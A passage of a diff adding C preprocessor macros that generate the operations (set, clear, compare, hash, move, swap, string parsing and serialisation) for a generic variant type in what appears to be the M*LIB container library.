+      switch (org->type) {                                                    \
+        M_MAP2(M_VAR1ANT_DEFINE_SET_FUNC, name, __VA_ARGS__)                  \
+        case M_F(name, _EMPTY): /* fallthrough */                             \
+        default: M_ASSUME(org->type == M_F(name, _EMPTY)); break;             \
+      }                                                                       \
+    }                                                                         \
+    M_ASSERT( my->type == org->type );                                        \
+    M_VAR1ANT_CONTRACT(name, my);                                             \
+  }
+
+#define M_VAR1ANT_DEFINE_SET_FUNC(name, a)                                    \
+  case M_C4(name, _, M_VAR1ANT_GET_FIELD a, _value):                          \
+  M_VAR1ANT_CALL_SET(a, my -> value. M_VAR1ANT_GET_FIELD a ,                  \
+                    org -> value.M_VAR1ANT_GET_FIELD a );                     \
+  break;
+
+
+/* Define the CLEAR function. */
+#define M_VAR1ANT_DEFINE_CLEAR(name, ...)                                     \
+  M_P(void, name, _clear, M_F(name,_ct) my)                                   \
+  {                                                                           \
+    M_VAR1ANT_CONTRACT(name, my);                                             \
+    M_UNUSED_CONTEXT();                                                       \
+    switch (my->type) {                                                       \
+      M_MAP2(M_VAR1ANT_DEFINE_CLEAR_FUNC, name,  __VA_ARGS__)                 \
+      case M_F(name, _EMPTY): /* fallthrough */                               \
+      default: M_ASSUME(my->type == M_F(name, _EMPTY)); break;                \
+    }                                                                         \
+    my->type = M_F(name, _EMPTY);                                             \
+  }
+
+#define M_VAR1ANT_DEFINE_CLEAR_FUNC(name, a)                                  \
+  case M_C4(name, _, M_VAR1ANT_GET_FIELD a, _value):                          \
+  M_VAR1ANT_CALL_CLEAR(a, my -> value. M_VAR1ANT_GET_FIELD a);                \
+  break;
+
+
+/* Define the TEST_P function. */
+#define M_VAR1ANT_DEFINE_TEST_P(name, ...)                                    \
+  M_INLINE bool M_F(name, _empty_p)(M_F(name,_ct) const my) {                 \
+    M_VAR1ANT_CONTRACT(name, my);                                             \
+    return my->type == M_F(name, _EMPTY);                                     \
+  }                                                                           \
+  M_INLINE enum M_F(name, _enum)                                              \
+  M_F(name, _type)(M_F(name,_ct) my) {                                        \
+    M_VAR1ANT_CONTRACT(name, my);                                             \
+    return my->type;                                                          \
+  }                                                                           \
+  M_MAP2(M_VAR1ANT_DEFINE_TEST_FUNC, name, __VA_ARGS__)
+
+#define M_VAR1ANT_DEFINE_TEST_FUNC(name, a)                                   \
+  M_INLINE bool                                                               \
+  M_C4(name, _, M_VAR1ANT_GET_FIELD a, _p)(M_F(name,_ct) const my) {          \
+    M_VAR1ANT_CONTRACT(name, my);                                             \
+    return my->type == M_C4(name, _, M_VAR1ANT_GET_FIELD a, _value);          \
+  }
+
+
+/* Define the INIT function. */
+#define M_VAR1ANT_DEFINE_INIT_FIELD(name, ...)                                \
+  M_MAP2(M_VAR1ANT_DEFINE_INIT_FIELD_FUNC, name, __VA_ARGS__)
+
+#define M_VAR1ANT_DEFINE_INIT_FIELD_FUNC(name, a)                             \
+  M_INLINE void                                                               \
+  M_C3(name, _init_, M_VAR1ANT_GET_FIELD a)(M_P_EXPAND M_F(name,_ct) my)      \
+  {                                                                           \
+    M_UNUSED_CONTEXT();                                                       \
+    /* Reinit variable with the given value */                                \
+    my->type = M_C4(name, _, M_VAR1ANT_GET_FIELD a, _value);                  \
+    M_VAR1ANT_CALL_INIT(a, my -> value. M_VAR1ANT_GET_FIELD a);               \
+  }
+
+
+/* Define the INIT_SET of a given type function. */
+#define M_VAR1ANT_DEFINE_INIT_SETTER_FIELD(name, ...)                         \
+  M_MAP3(M_VAR1ANT_DEFINE_INIT_SETTER_FIELD_FUNC, name, __VA_ARGS__)
+
+#define M_VAR1ANT_DEFINE_INIT_SETTER_FIELD_FUNC(name, num, a)                 \
+  M_INLINE void                                                               \
+  M_C3(name, _init_set_, M_VAR1ANT_GET_FIELD a)(M_P_EXPAND M_F(name,_ct) my, M_VAR1ANT_GET_TYPE a const M_VAR1ANT_GET_FIELD a) \
+  {                                                                           \
+    M_UNUSED_CONTEXT();                                                       \
+    my->type = M_C4(name, _, M_VAR1ANT_GET_FIELD a, _value);                  \
+    M_VAR1ANT_CALL_INIT_SET(a, my -> value. M_VAR1ANT_GET_FIELD a,            \
+                           M_VAR1ANT_GET_FIELD a);                            \
+  }                                                                           \
+  M_INLINE void                                                               \
+  M_C4(m_var1ant_, name, _init_set_, num)(M_P_EXPAND M_F(name,_ct) my, M_VAR1ANT_GET_TYPE a const M_VAR1ANT_GET_FIELD a) \
+  {                                                                           \
+    M_UNUSED_CONTEXT();                                                       \
+    my->type = M_C4(name, _, M_VAR1ANT_GET_FIELD a, _value);                  \
+    M_VAR1ANT_CALL_INIT_SET(a, my -> value. M_VAR1ANT_GET_FIELD a,            \
+                           M_VAR1ANT_GET_FIELD a);                            \
+  }
+
+
+/* Define the SET of a given type function. */
+#define M_VAR1ANT_DEFINE_SETTER_FIELD(name, ...)                              \
+  M_MAP2(M_VAR1ANT_DEFINE_SETTER_FIELD_FUNC, name, __VA_ARGS__)
+
+#define M_VAR1ANT_DEFINE_SETTER_FIELD_FUNC(name, a)                           \
+  M_INLINE void                                                               \
+  M_C3(name, _set_, M_VAR1ANT_GET_FIELD a)(M_P_EXPAND M_F(name,_ct) my,       \
+                                          M_VAR1ANT_GET_TYPE a const M_VAR1ANT_GET_FIELD a  ) { \
+    M_VAR1ANT_CONTRACT(name, my);                                             \
+    if (my->type == M_C4(name, _, M_VAR1ANT_GET_FIELD a, _value) ) {          \
+      M_VAR1ANT_CALL_SET(a, my -> value. M_VAR1ANT_GET_FIELD a,               \
+                        M_VAR1ANT_GET_FIELD a);                               \
+    } else {                                                                  \
+      M_F(name, _clear)M_R(my);                                               \
+      /* Reinit variable with the given value */                              \
+      my->type = M_C4(name, _, M_VAR1ANT_GET_FIELD a, _value);                \
+      M_VAR1ANT_CALL_INIT_SET(a, my -> value. M_VAR1ANT_GET_FIELD a,          \
+                             M_VAR1ANT_GET_FIELD a);                          \
+    }                                                                         \
+  }
+
+
+/* Define the GET_field of a given type function. */
+#define M_VAR1ANT_DEFINE_GETTER_FIELD(name, ...)                              \
+  M_MAP2(M_VAR1ANT_DEFINE_GETTER_FIELD_FUNC, name, __VA_ARGS__)
+
+#define M_VAR1ANT_DEFINE_GETTER_FIELD_FUNC(name, a)                           \
+  M_INLINE M_VAR1ANT_GET_TYPE a *                                             \
+  M_C3(name, _get_, M_VAR1ANT_GET_FIELD a)(M_F(name,_ct) my) {                \
+    M_VAR1ANT_CONTRACT(name, my);                                             \
+    if (my->type != M_C4(name, _, M_VAR1ANT_GET_FIELD a, _value) ) {          \
+      return NULL;                                                            \
+    }                                                                         \
+    return &my -> value . M_VAR1ANT_GET_FIELD a;                              \
+  }                                                                           \
+                                                                              \
+  M_INLINE M_VAR1ANT_GET_TYPE a const *                                       \
+  M_C3(name, _cget_, M_VAR1ANT_GET_FIELD a)(M_F(name,_ct) const my) {         \
+    M_VAR1ANT_CONTRACT(name, my);                                             \
+    if (my->type != M_C4(name, _, M_VAR1ANT_GET_FIELD a, _value) ) {          \
+      return NULL;                                                            \
+    }                                                                         \
+    return &my -> value . M_VAR1ANT_GET_FIELD a;                              \
+  }
+
+
+/* Define the EMPLACE of a given type function.
+   NOTE: Use of a variant of MAP3 because of recursive use of MAP2/MAP3/REDUCE2 !
+ */
+#define M_VAR1ANT_DEFINE_EMPLACE(name, ...)                                   \
+  M_VAR1ANT_MAP3_ALT(M_VAR1ANT_DEFINE_EMPLACE_FUNC, name, __VA_ARGS__)
+// Variant of M_MAP3 using M_REDUCE3
+#define M_VAR1ANT_MAP3_ALT(f, d, ...)   M_REDUCE3(f, M_VAR1ANT_MAP3_ALT_ID, d, __VA_ARGS__)
+#define M_VAR1ANT_MAP3_ALT_ID(a, b)     a b
+
+#define M_VAR1ANT_DEFINE_EMPLACE_FUNC(name, num, a)                           \
+  M_EMPLACE_QUEUE_DEF( (name, M_VAR1ANT_GET_FIELD a), M_F(name,_ct), M_C3(name, _init_emplace_, M_VAR1ANT_GET_FIELD a), M_VAR1ANT_GET_OPLIST a, M_VAR1ANT_DEFINE_INIT_EMPLACE_DEF) \
+  M_EMPLACE_QUEUE_DEF( (name, M_VAR1ANT_GET_FIELD a), M_F(name,_ct), M_C3(name, _emplace_, M_VAR1ANT_GET_FIELD a), M_VAR1ANT_GET_OPLIST a, M_VAR1ANT_DEFINE_EMPLACE_DEF)
+
+#define M_VAR1ANT_DEFINE_INIT_EMPLACE_DEF(name, name_t, function_name, oplist, init_func, exp_emplace_type) \
+M_INLINE void                                                                 \
+  function_name(M_P_EXPAND name_t my M_EMPLACE_LIST_TYPE_VAR(ab, exp_emplace_type) ) \
+  {                                                                           \
+    my->type = M_C4(M_PAIR_1 name, _, M_PAIR_2 name, _value);                 \
+    M_EMPLACE_CALL_FUNC(ab, init_func, oplist, my -> value. M_PAIR_2 name, exp_emplace_type); \
+  }                                                                           \
+
+#define M_VAR1ANT_DEFINE_EMPLACE_DEF(name, name_t, function_name, oplist, init_func, exp_emplace_type) \
+  M_INLINE void                                                               \
+  function_name(M_P_EXPAND name_t my M_EMPLACE_LIST_TYPE_VAR(ab, exp_emplace_type) ) \
+  {                                                                           \
+    /* No optimization done */                                                \
+    M_C(M_PAIR_1 name, _clear)M_R(my);                                        \
+    my->type = M_F(M_PAIR_1 name, _EMPTY);                                    \
+    M_EMPLACE_CALL_FUNC(ab, init_func, oplist, my -> value. M_PAIR_2 name, exp_emplace_type); \
+    my->type = M_C4(M_PAIR_1 name, _, M_PAIR_2 name, _value);                 \
+  }                                                                           \
+
+/* Define the EQUAL_P function. */
+#define M_VAR1ANT_DEFINE_EQUAL(name, ...)                                     \
+  M_INLINE bool M_F(name, _equal_p)(M_F(name,_ct) const e1 ,                  \
+                                         M_F(name,_ct) const e2) {            \
+    bool b;                                                                   \
+    M_VAR1ANT_CONTRACT(name, e1);                                             \
+    M_VAR1ANT_CONTRACT(name, e2);                                             \
+    if (e1->type != e2->type) return false;                                   \
+    switch (e1->type) {                                                       \
+    case M_F(name, _EMPTY): break;                                            \
+      M_MAP2(M_VAR1ANT_DEFINE_EQUAL_FUNC , name, __VA_ARGS__)                 \
+    default: M_ASSUME(false); break;                                          \
+    }                                                                         \
+    return true;                                                              \
+  }
+
+#define M_VAR1ANT_DEFINE_EQUAL_FUNC(name, a)                                  \
+  case M_C4(name, _, M_VAR1ANT_GET_FIELD a, _value):                          \
+  b = M_VAR1ANT_CALL_EQUAL(a, e1 -> value . M_VAR1ANT_GET_FIELD a ,           \
+                          e2 -> value . M_VAR1ANT_GET_FIELD a );              \
+  return b;                                                                   \
+  break;
+
+
+/* Define the HASH function. */
+#define M_VAR1ANT_DEFINE_HASH(name, ...)                                      \
+  M_INLINE size_t M_F(name, _hash)(M_F(name,_ct) const e1) {                  \
+    M_VAR1ANT_CONTRACT(name, e1);                                             \
+    M_HASH_DECL(hash);                                                        \
+    M_HASH_UP (hash, (unsigned int) (e1 -> type));                            \
+    switch (e1->type) {                                                       \
+    case M_F(name, _EMPTY): break;                                            \
+      M_MAP2(M_VAR1ANT_DEFINE_HASH_FUNC , name, __VA_ARGS__)                  \
+    default: M_ASSUME(false); break;                                          \
+    }                                                                         \
+    return M_HASH_FINAL (hash);                                               \
+  }
+
+#define M_VAR1ANT_DEFINE_HASH_FUNC(name, a)                                   \
+  case M_C4(name, _, M_VAR1ANT_GET_FIELD a, _value):                          \
+  M_HASH_UP(hash, M_VAR1ANT_CALL_HASH(a, e1 -> value . M_VAR1ANT_GET_FIELD a) ); \
+  break;
+
+
+/* Define the INIT_MOVE function. */
+#define M_VAR1ANT_DEFINE_INIT_MOVE(name, ...)                                 \
+  M_INLINE void                                                               \
+  M_F(name, _init_move)(M_F(name,_ct) el, M_F(name,_ct) org) {                \
+    M_VAR1ANT_CONTRACT(name, org);                                            \
+    el -> type = org -> type;                                                 \
+    switch (el->type) {                                                       \
+    case M_F(name, _EMPTY): break;                                            \
+    M_MAP2(M_VAR1ANT_DEFINE_INIT_MOVE_FUNC , name, __VA_ARGS__)               \
+    default: M_ASSUME(false); break;                                          \
+    }                                                                         \
+    org -> type = M_F(name, _EMPTY);                                          \
+  }
+
+#define M_VAR1ANT_DEFINE_INIT_MOVE_FUNC(name, a)                              \
+  case M_C4(name, _, M_VAR1ANT_GET_FIELD a, _value):                          \
+  M_VAR1ANT_CALL_INIT_MOVE(a, el -> value . M_VAR1ANT_GET_FIELD a,            \
+                          org -> value . M_VAR1ANT_GET_FIELD a);              \
+  break;
+
+
+/* Define the MOVE function.
+   This is not optimized version.
+   It can be optimized if both types are the same.
+*/
+#define M_VAR1ANT_DEFINE_MOVE(name, ...)                                      \
+  M_P(void, name, _move, M_F(name,_ct) el, M_F(name,_ct) org)                 \
+  {                                                                           \
+    M_F(name, _clear)M_R(el);                                                 \
+    M_F(name, _init_move)(el , org);                                          \
+  }
+
+
+/* Define the MOVE function of a given type */
+#define M_VAR1ANT_DEFINE_MOVER(name, ...)                                     \
+  M_MAP2(M_VAR1ANT_DEFINE_MOVER_FUNC, name, __VA_ARGS__)
+
+#define M_VAR1ANT_DEFINE_MOVER_FUNC(name, a)                                  \
+  M_INLINE void                                                               \
+  M_C3(name, _move_, M_VAR1ANT_GET_FIELD a)(M_P_EXPAND M_F(name,_ct) my,      \
+                                           M_VAR1ANT_GET_TYPE a  M_VAR1ANT_GET_FIELD a  ) { \
+    M_VAR1ANT_CONTRACT(name, my);                                             \
+    M_F(name, _clear)M_R(my);                                                 \
+    /* Reinit variable with the given value */                                \
+    my->type = M_C4(name, _, M_VAR1ANT_GET_FIELD a, _value);                  \
+    M_VAR1ANT_CALL_INIT_MOVE(a, my -> value. M_VAR1ANT_GET_FIELD a,           \
+                            M_VAR1ANT_GET_FIELD a);                           \
+  }
+
+
+/* Define the SWAP function  */
+#define M_VAR1ANT_DEFINE_SWAP(name, ...)                                      \
+  M_INLINE void                                                               \
+  M_F(name, _swap)(M_F(name,_ct) el1, M_F(name,_ct) el2) {                    \
+    M_VAR1ANT_CONTRACT(name, el1);                                            \
+    M_VAR1ANT_CONTRACT(name, el2);                                            \
+    if (el1->type == el2->type) {                                             \
+      switch (el1->type) {                                                    \
+      case M_F(name, _EMPTY): break;                                          \
+        M_MAP2(M_VAR1ANT_DEFINE_INIT_SWAP_FUNC , name, __VA_ARGS__)           \
+      default: M_ASSUME(false); break;                                        \
+      }                                                                       \
+    } else {                                                                  \
+      M_F(name,_ct) tmp;                                                      \
+      M_VAR1ANT_IF_ALL(INIT_MOVE, __VA_ARGS__)                                \
+        (      /* NOTE: Slow implementation */                                \
+         M_F(name, _init_move)(tmp, el1);                                     \
+         M_F(name, _init_move)(el1, el2);                                     \
+         M_F(name, _init_move)(el2, tmp);                                     \
+         ,                                                                    \
+         /* NOTE: Very slow implementation */                                 \
+         M_F(name, _init_set)(tmp, el1);                                      \
+         M_F(name, _set)(el1, el2);                                           \
+         M_F(name, _set)(el2, tmp);                                           \
+         M_F(name, _clear)(tmp);                                              \
+               )                                                              \
+    }                                                                         \
+  }
+
+#define M_VAR1ANT_DEFINE_INIT_SWAP_FUNC(name, a)                              \
+  case M_C4(name, _, M_VAR1ANT_GET_FIELD a, _value):                          \
+  M_VAR1ANT_CALL_SWAP(a, el1 -> value . M_VAR1ANT_GET_FIELD a,                \
+                     el2 -> value . M_VAR1ANT_GET_FIELD a);                   \
+  break;
+
+
+/* Define the GET_STR function */
+#define M_VAR1ANT_DEFINE_GET_STR(name, ...)                                   \
+  M_P(void, name, _get_str, m_string_t str, M_F(name,_ct) const el, bool append) \
+  {                                                                           \
+    M_VAR1ANT_CONTRACT(name, el);                                             \
+    M_ASSERT (str != NULL);                                                   \
+    void (*func)(M_P_EXPAND m_string_t, const char *);                        \
+    func = append ? m_string_cat_cstr : m_string_set_cstr;                    \
+    switch (el->type) {                                                       \
+    case M_F(name, _EMPTY): func M_R(str, "@EMPTY{"); break;                  \
+      M_MAP2(M_VAR1ANT_DEFINE_GET_STR_FUNC , name, __VA_ARGS__)               \
+    default: M_ASSUME(false); break;                                          \
+    }                                                                         \
+    m_string_push_back M_R(str, '}');                                         \
+  }
+
+#define M_VAR1ANT_DEFINE_GET_STR_FUNC(name, a)                                \
+  case M_C4(name, _, M_VAR1ANT_GET_FIELD a, _value):                          \
+  func M_R(str, "@" M_AS_STR(M_VAR1ANT_GET_FIELD a) "{");                     \
+  M_VAR1ANT_CALL_GET_STR(a, str, el -> value . M_VAR1ANT_GET_FIELD a, true);  \
+  break;
+
+
+/* Define the PARSE_STR function */
+#define M_VAR1ANT_DEFINE_PARSE_STR(name, ...)                                 \
+  M_P(bool, name, _parse_str, M_F(name,_ct) el, const char str[], const char **endp) \
+  {                                                                           \
+    M_VAR1ANT_CONTRACT(name, el);                                             \
+    M_ASSERT (str != NULL);                                                   \
+    bool success = false;                                                     \
+    char variantTypeBuf[M_USE_IDENTIFIER_ALLOC+1];                            \
+    int  c = *str++;                                                          \
+    unsigned int i = 0;                                                       \
+    M_F(name, _reset)M_R(el);                                                 \
+    if (c != '@') goto exit;                                                  \
+    /* First read the name of the type */                                     \
+    c = *str++;                                                               \
+    while (c != '{' && c != 0 && i < sizeof(variantTypeBuf) - 1) {            \
+      variantTypeBuf[i++] = (char) c;                                         \
+      c = *str++;                                                             \
+    }                                                                         \
+    if (c != '{') goto exit;                                                  \
+    variantTypeBuf[i++] = 0;                                                  \
+    M_ASSERT(i < sizeof(variantTypeBuf));                                     \
+    /* In function of the type */                                             \
+    if (strcmp(variantTypeBuf, "EMPTY") == 0) {                               \
+      el->type = M_F(name, _EMPTY);                                           \
+    }                                                                         \
+    M_MAP2(M_VAR1ANT_DEFINE_PARSE_STR_FUNC , name, __VA_ARGS__)               \
+    else goto exit;                                                           \
+    success = (*str++ == '}');                                                \
+  exit:                                                                       \
+    if (endp) *endp = str;                                                    \
+    return success;                                                           \
+  }
+
+#define M_VAR1ANT_DEFINE_PARSE_STR_FUNC(name, a)                              \
+  else if (strcmp (variantTypeBuf, M_AS_STR(M_VAR1ANT_GET_FIELD a)) == 0) {   \
+    el->type = M_C4(name, _, M_VAR1ANT_GET_FIELD a, _value);                  \
+    M_VAR1ANT_CALL_INIT(a, el ->value . M_VAR1ANT_GET_FIELD a );              \
+    bool b = M_VAR1ANT_CALL_PARSE_STR(a, el -> value . M_VAR1ANT_GET_FIELD a, str, &str); \
+    if (!b) goto exit;                                                        \
+  }
+
+
+/* Define the OUT_STR function */
+#define M_VAR1ANT_DEFINE_OUT_STR(name, ...)                                   \
+  M_INLINE void M_F(name, _out_str)(FILE *f, M_F(name,_ct) const el)          \
+  {                                                                           \
+    M_VAR1ANT_CONTRACT(name, el);                                             \
+    M_ASSERT (f != NULL);                                                     \
+    switch (el->type) {                                                       \
+    case M_F(name, _EMPTY): fprintf(f, "@EMPTY{"); break;                     \
+      M_MAP2(M_VAR1ANT_DEFINE_OUT_STR_FUNC , name, __VA_ARGS__)               \
+    default: M_ASSUME(false); break;                                          \
+    }                                                                         \
+    fputc ('}', f);                                                           \
+  }
+
+#define M_VAR1ANT_DEFINE_OUT_STR_FUNC(name, a)                                \
+  case M_C4(name, _, M_VAR1ANT_GET_FIELD a, _value):                          \
+  fprintf(f, "@" M_AS_STR(M_VAR1ANT_GET_FIELD a) "{");                        \
+  M_VAR1ANT_CALL_OUT_STR(a, f, el -> value . M_VAR1ANT_GET_FIELD a);          \
+  break;
+
+
+/* Define the IN_STR function */
+#define M_VAR1ANT_DEFINE_IN_STR(name, ...)                                    \
+  M_P(bool, name, _in_str, M_F(name,_ct) el, FILE *f)                         \
+  {                                                                           \
+    M_VAR1ANT_CONTRACT(name, el);                                             \
+    M_ASSERT (f != NULL);                                                     \
+    char variantTypeBuf[M_USE_IDENTIFIER_ALLOC+1];                            \
+    M_F(name, _reset)M_R(el);                                                 \
+    if (fgetc(f) != '@') return false;                                        \
+    /* First read the name of the type */                                     \
+    bool b = true;                                                            \
+    int c = fgetc(f);                                                         \
+    unsigned int i = 0;                                                       \
+    while (c != '{' && c != EOF && i < sizeof(variantTypeBuf) - 1) {          \
+      variantTypeBuf[i++] = (char) c;                                         \
+      c = fgetc(f);                                                           \
+    }                                                                         \
+    if (c != '{') return false;                                               \
+    variantTypeBuf[i++] = 0;                                                  \
+    M_ASSERT(i < sizeof(variantTypeBuf));                                     \
+    /* In function of the type */                                             \
+    if (strcmp(variantTypeBuf, "EMPTY") == 0) {                               \
+      el->type = M_F(name, _EMPTY);                                           \
+    }                                                                         \
+    M_MAP2(M_VAR1ANT_DEFINE_IN_STR_FUNC , name, __VA_ARGS__)                  \
+    else { b = false; }                                                       \
+    return b && (fgetc(f) == '}');                                            \
+  }
+
+#define M_VAR1ANT_DEFINE_IN_STR_FUNC(name, a)                                 \
+  else if (strcmp (variantTypeBuf, M_AS_STR(M_VAR1ANT_GET_FIELD a)) == 0) {   \
+    el->type = M_C4(name, _, M_VAR1ANT_GET_FIELD a, _value);                  \
+    M_VAR1ANT_CALL_INIT(a, el ->value . M_VAR1ANT_GET_FIELD a );              \
+    b = M_VAR1ANT_CALL_IN_STR(a, el -> value . M_VAR1ANT_GET_FIELD a, f);     \
+  }
+
+
+/* Return the STRING version of a parameter name */
+#define M_VAR1ANT_STRINGIFY_NAME(a)                                           \
+  M_AS_STR(M_VAR1ANT_GET_FIELD a)
+
+
+/* Define the OUT_SERIAL function */
+#define M_VAR1ANT_DEFINE_OUT_SERIAL(name, ...)                                \
+  M_P(m_serial_return_code_t, name, _out_serial, m_serial_write_t f, M_F(name,_ct) const el) \
+  {                                                                           \
+    M_VAR1ANT_CONTRACT(name, el);                                             \
+    const int field_max = M_NARGS(__VA_ARGS__);                               \
+    static const char *const field_name[] =                                   \
+      { M_REDUCE(M_VAR1ANT_STRINGIFY_NAME, M_ID, __VA_ARGS__) };              \
+    M_ASSERT (f != NULL && f->m_interface != NULL);                           \
+    m_serial_local_t local;                                                   \
+    m_serial_return_code_t ret;                                               \
+    switch (el->type) {                                                       \
+    case M_F(name, _EMPTY):                                                   \
+      return f->m_interface->write_variant_start M_R(local, f, field_name, field_max, -1); \
+      break;                                                                  \
+    M_MAP2(M_VAR1ANT_DEFINE_OUT_SERIAL_FUNC , name, __VA_ARGS__)              \
+    default: M_ASSUME(false); break;                                          \
+    }                                                                         \
+    ret |= f->m_interface->write_variant_end M_R(local, f);                   \
+    return ret & M_SERIAL_FAIL;                                               \
+  }
+
+#define M_VAR1ANT_DEFINE_OUT_SERIAL_FUNC(name, a)                             \
+  case M_C4(name, _, M_VAR1ANT_GET_FIELD a, _value):                          \
+  ret = f->m_interface->write_variant_start M_R(local, f, field_name, field_max, \
+                       M_C4(name, _, M_VAR1ANT_GET_FIELD a, _value) -1);      \
+  M_VAR1ANT_CALL_OUT_SERIAL(a, f, el -> value . M_VAR1ANT_GET_FIELD a);       \
+  break;
+
+
+/* Define the IN_SERIAL function */
+#define M_VAR1ANT_DEFINE_IN_SERIAL(name, ...)                                 \
+  M_P(m_serial_return_code_t, name, _in_serial, M_F(name,_ct) el, m_serial_read_t f) \
+  {                                                                           \
+    M_VAR1ANT_CONTRACT(name, el);                                             \
+    const int field_max = M_NARGS(__VA_ARGS__);                               \
+    static const char *const field_name[] =                                   \
+      { M_REDUCE(M_VAR1ANT_STRINGIFY_NAME, M_ID, __VA_ARGS__) };              \
+    M_ASSERT (f != NULL && f->m_interface != NULL);                           \
+    m_serial_local_t local;                                                   \
+    m_serial_return_code_t ret;                                               \
+    int id = -1;                                                              \
+    M_F(name, _reset)M_R(el);                                                 \
+    ret = f->m_interface->read_variant_start(local, f, field_name, field_max, &id); \
+    if (ret != M_SERIAL_OK_CONTINUE) return ret;                              \
+    M_ASSERT (id >= 0 && id < field_max);                                     \
+    el->type = (enum M_F(name, _enum))(id+1);                                 \
+    switch (id+1) {                                                           \
+      M_MAP2(M_VAR1ANT_DEFINE_IN_SERIAL_FUNC , name, __VA_ARGS__)             \
+    default: M_ASSUME(false); break;                                          \
+    }                                                                         \
+    if (ret == M_SERIAL_OK_DONE)                                              \
+      ret = f->m_interface->read_variant_end(local, f);                       \
+    return ret;                                                               \
+  }
+
+#define M_VAR1ANT_DEFINE_IN_SERIAL_FUNC(name, a)                              \
+  case M_C4(name, _, M_VAR1ANT_GET_FIELD a, _value):                          \
+    M_VAR1ANT_CALL_INIT(a, el ->value . M_VAR1ANT_GET_FIELD a );              \
+    ret = M_VAR1ANT_CALL_IN_SERIAL(a, el -> value . M_VAR1ANT_GET_FIELD a, f); \
+    break;                                                                    \
+
+
+/* Define the RESET function */
+#define M_VAR1ANT_DEFINE_RESET_FUNC(name, ...)                                \
+  M_P(void, name, _reset, M_F(name,_ct) my)                                   \
+  {                                                                           \
+    M_VAR1ANT_CONTRACT(name, my);                                             \
+    M_F(name, _clear)M_R(my);                                                 \
+    M_F(name, _init)(my);                                                     \
+  }                                                                           \
+
+
+/********************************** INTERNAL *********************************/
+
+/* deferred evaluation of the oplist */
+#define M_VAR1ANT_OPLIST_P1(arg) M_VAR1ANT_OPLIST_P2 arg
+
+/* Validate the oplist before going further */
+#define M_VAR1ANT_OPLIST_P2(name, ...)                                        \
+  M_IF(M_REDUCE(M_OPLIST_P, M_AND, __VA_ARGS__))(M_VAR1ANT_OPLIST_P3, M_VAR1ANT_OPLIST_FAILURE)(name, __VA_ARGS__)
+
+/* Prepare a clean compilation failure */
+#define M_VAR1ANT_OPLIST_FAILURE(name, ...)                                   \
+  ((M_LIB_ERROR(ONE_ARGUMENT_OF_VARIANT_OPLIST_IS_NOT_AN_OPLIST, name, __VA_ARGS__)))
+
+/* Define the oplist */
+#ifndef M_USE_CONTEXT
+#define M_VAR1ANT_OPLIST_P3(name, ...)                                        \
+  (INIT(M_F(name,_init)),                                                     \
+   INIT_SET(M_F(name, _init_set)),                                            \
+   SET(M_F(name,_set)),                                                       \
+   CLEAR(M_F(name, _clear)),                                                  \
+   RESET(M_F(name, _reset)),                                                  \
+   NAME(name),                                                                \
+   TYPE(M_F(name,_ct)), GENTYPE(struct M_F(name,_s)*),                        \
+   EMPTY_P(M_F(name,_empty_p)),                                               \
+   SIZE( M_NARGS(__VA_ARGS__) ),                                              \
+   INIT_WITH( API_1(M_VAR1ANT_INIT_WITH) ),                                   \
+   M_IF_METHOD_ALL(HASH, __VA_ARGS__)(HASH(M_F(name, _hash)),),               \
+   M_IF_METHOD_ALL(EQUAL, __VA_ARGS__)(EQUAL(M_F(name, _equal_p)),),          \
+   M_IF_METHOD_ALL(GET_STR, __VA_ARGS__)(GET_STR(M_F(name, _get_str)),),      \
+   M_IF_METHOD2_ALL(PARSE_STR, INIT, __VA_ARGS__)(PARSE_STR(M_F(name, _parse_str)),), \
+   M_IF_METHOD2_ALL(IN_STR, INIT, __VA_ARGS__)(IN_STR(M_F(name, _in_str)),),  \
+   M_IF_METHOD_ALL(OUT_STR, __VA_ARGS__)(OUT_STR(M_F(name, _out_str)),),      \
+   M_IF_METHOD2_ALL(IN_SERIAL, INIT, __VA_ARGS__)(IN_SERIAL(M_F(name, _in_serial)),), \
+   M_IF_METHOD_ALL(OUT_SERIAL, __VA_ARGS__)(OUT_SERIAL(M_F(name, _out_serial)),), \
+   M_IF_METHOD_ALL(INIT_MOVE, __VA_ARGS__)(INIT_MOVE(M_F(name, _init_move)),), \
+   M_IF_METHOD_ALL(INIT_MOVE, __VA_ARGS__)(MOVE(M_F(name, _move)),),          \
+   M_IF_METHOD_ALL(SWAP, __VA_ARGS__)(SWAP(M_F(name, _swap)),),               \
+   M_IF_METHOD_ALL(FIELD, __VA_ARGS__)(M_VAR1ANT_OPLIST_EMPLACE_TYPE,M_EAT)(name, __VA_ARGS__), \
+   )
+#else
+#define M_VAR1ANT_OPLIST_P3(name, ...)                                        \
+  (INIT(M_F(name,_init)),                                                     \
+   INIT_SET(API_0P(M_F(name, _init_set))),                                    \
+   SET(API_0P(M_F(name,_set))),                                               \
+   CLEAR(API_0P(M_F(name, _clear))),                                          \
+   RESET(API_0P(M_F(name, _reset))),                                          \
+   NAME(name), TYPE(M_F(name,_ct)), GENTYPE(struct M_F(name,_s)*),            \
+   EMPTY_P(M_F(name,_empty_p)),                                               \
+   SIZE( M_NARGS(__VA_ARGS__) ),                                              \
+   INIT_WITH( API_1(M_VAR1ANT_INIT_WITH) ),                                   \
+   M_IF_METHOD_ALL(HASH, __VA_ARGS__)(HASH(M_F(name, _hash)),),               \
+   M_IF_METHOD_ALL(EQUAL, __VA_ARGS__)(EQUAL(M_F(name, _equal_p)),),          \
+   M_IF_METHOD_ALL(GET_STR, __VA_ARGS__)(GET_STR(API_0P(M_F(name, _get_str))),), \
+   M_IF_METHOD2_ALL(PARSE_STR, INIT, __VA_ARGS__)(PARSE_STR(API_0P(M_F(name, _parse_str))),), \
+   M_IF_METHOD2_ALL(IN_STR, INIT, __VA_ARGS__)(IN_STR(API_0P(M_F(name, _in_str))),), \
+   M_IF_METHOD_ALL(OUT_STR, __VA_ARGS__)(OUT_STR(M_F(name, _out_str)),),      \
+   M_IF_METHOD2_ALL(IN_SERIAL, INIT, __VA_ARGS__)(IN_SERIAL(API_0P(M_F(name, _in_serial))),), \
+   M_IF_METHOD_ALL(OUT_SERIAL, __VA_ARGS__)(OUT_SERIAL(API_0P(M_F(name, _out_serial))),), \
+   M_IF_METHOD_ALL(INIT_MOVE, __VA_ARGS__)(INIT_MOVE(M_F(name, _init_move)),), \
+   M_IF_METHOD_ALL(INIT_MOVE, __VA_ARGS__)(MOVE(API_0P(M_F(name, _move))),),  \
+   M_IF_METHOD_ALL(SWAP, __VA_ARGS__)(SWAP(M_F(name, _swap)),),               \
